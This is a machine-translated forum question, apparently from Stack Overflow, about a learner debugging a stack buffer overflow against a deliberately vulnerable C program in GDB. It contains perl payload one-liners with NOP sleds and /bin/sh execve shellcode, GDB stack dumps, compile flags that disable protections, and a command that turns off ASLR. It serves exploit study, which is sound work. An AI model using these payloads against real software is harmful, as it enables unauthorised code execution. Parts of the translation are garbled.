我正在嘗試使用本教程執行緩衝區溢出攻擊 我的文章中的所有內容都將在GDB中直接執行。我想利用bufferoverflow,我做錯了什麼?
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
,這是在其予想利用緩衝區溢出的代碼。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
我目前在Linux mint 18上工作,我有一個處理器64位。 鑑於我有一個64位架構。每個地址都是8個字節。 現在讓我想象我目前的stakframe。
| buff [256] |
| RBP |
|保存RIP |
我的目標是用我的「nop sled」的地址覆蓋「SAVE RIP」。 鑑於我在64位架構。我將用256 + 8字符填充變量buff。 8字符將覆蓋RBP指針。我要用perl覆蓋。
perl -e 'print "\x90" x 264'
,然後使用的shellcode這是在教程提供我跟着
perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
我減去26,因爲殼碼是長度的26
現在。我將使用GDB來了解我的nop雪橇的地址是什麼。
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x110
0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi
0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi
0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1
0x0000000000400615 <+31>: jne 0x40063d <main+71>
0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110]
0x000000000040061e <+40>: mov rax,QWORD PTR [rax]
0x0000000000400621 <+43>: mov rsi,rax
0x0000000000400624 <+46>: mov edi,0x400704
0x0000000000400629 <+51>: mov eax,0x0
0x000000000040062e <+56>: call 0x4004c0 <[email protected]>
0x0000000000400633 <+61>: mov edi,0x0
0x0000000000400638 <+66>: call 0x4004e0 <[email protected]>
0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110]
0x0000000000400644 <+78>: add rax,0x8
0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax]
0x000000000040064b <+85>: lea rax,[rbp-0x100]
0x0000000000400652 <+92>: mov rsi,rdx
0x0000000000400655 <+95>: mov rdi,rax
0x0000000000400658 <+98>: call 0x4004a0 <[email protected]>
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100]
0x0000000000400664 <+110>: mov rdi,rax
0x0000000000400667 <+113>: call 0x4004b0 <[email protected]>
0x000000000040066c <+118>: mov eax,0x1
0x0000000000400671 <+123>: leave
0x0000000000400672 <+124>: ret
我在strcpy函數後添加了一個斷點。和我試圖找出雪橇的開頭NOP使用
x/x $rsp
這讓我
0x7fffffffde20: 0xffffe018
然後我會做
x/s 0x7fffffffde20
,然後按'輸入'直到找到我要找的東西。
現在,來第二個問題。我發現這似乎包含NOP雪橇
0x7fffffffde30: '\220' <repeats 200 times>...
(gdb)
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
和
0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb)
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
不知道該選擇哪一個兩個不同的地址,我決定嘗試他們兩個。不過,假設我使用第一個,更準確地說是0x7fffffffde30。 (沒有忘記帶車的車子)。
我會嘗試使用以下命令行來執行我的代碼:
(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`
然後我驗證,如果RIP正確的願望地址覆蓋。
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
source language c.
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
Saved registers:
rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)
而且我們可以看到保存的RIP被希望地址成功覆蓋。 現在的主要問題是當我按下「繼續」我的程序段錯誤而沒有打開任何shell。我完全按照教程中的解釋,所以任何人都可以解釋我:
- 爲什麼segfault當我在緩衝區內寫入263字節?當我覆蓋「保存RIP」時,程序可以進行段錯誤,對於RBP,它是否一樣?
- 我發現了兩個不同的地址,其中包含我的諾福克雪橇,哪一個我可以選擇?
- 最後,根據你的說法,我做錯了什麼或者看起來不合邏輯?我不知道爲什麼我的漏洞利用工作,並沒有發現互聯網上沒有像我一樣的問題的其他人。
感謝
我使用這種方式
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack
編輯編譯:
謝謝你的評論。我做了你告訴我的,但它仍然是段錯誤。
你好@russtone。
謝謝你的回答,我做了你告訴我的,但它仍然是段錯誤。
`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
我使用這個地址時不會忘記字節數。
「0x7fffffffdc80」
這給我
「\ X80 \ XDC \ XFF \ XFF \ XFF \ 0x7F部分」
所以在GDB最後的命令是
(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`
然後
繼續
哪個顯示
繼續。 H1WW^ZH //斌/ shHWT_j; X
程序接收到的信號SIGSEGV,分段錯誤。 0x00007fffffffdd80在? ()
感謝
你好@ S7_0可以顯示'strcpy'後'信息frame'的輸出? – russtone
Hello @russtone ' 堆棧級別0,幀爲0x7fffffffdc90: rip = 0x40065d in main(hacking.c:15);保存rip = 0x7fffffffdc80 源語言c。 ARGLIST在0x7fffffffdc80,ARGS:ARGC = 2,ARGV = 0x7fffffffdd68在0x7fffffffdc80 當地人,上一幀的SP是0x7fffffffdc90 保存的寄存器:在0x7fffffffdc80 RBP,裂口在0x7fffffffdc88 ' –
另一件需要注意的是,相當多的現代Linux發行版使用不可執行的堆棧。要看看你的'pmap $$'應該顯示你的shell的內存映射。如果你看到'00007ffd3bd6c000 132K rw --- [stack]'(注意rw,但不是x),那麼它默認使用不可執行的堆棧。 –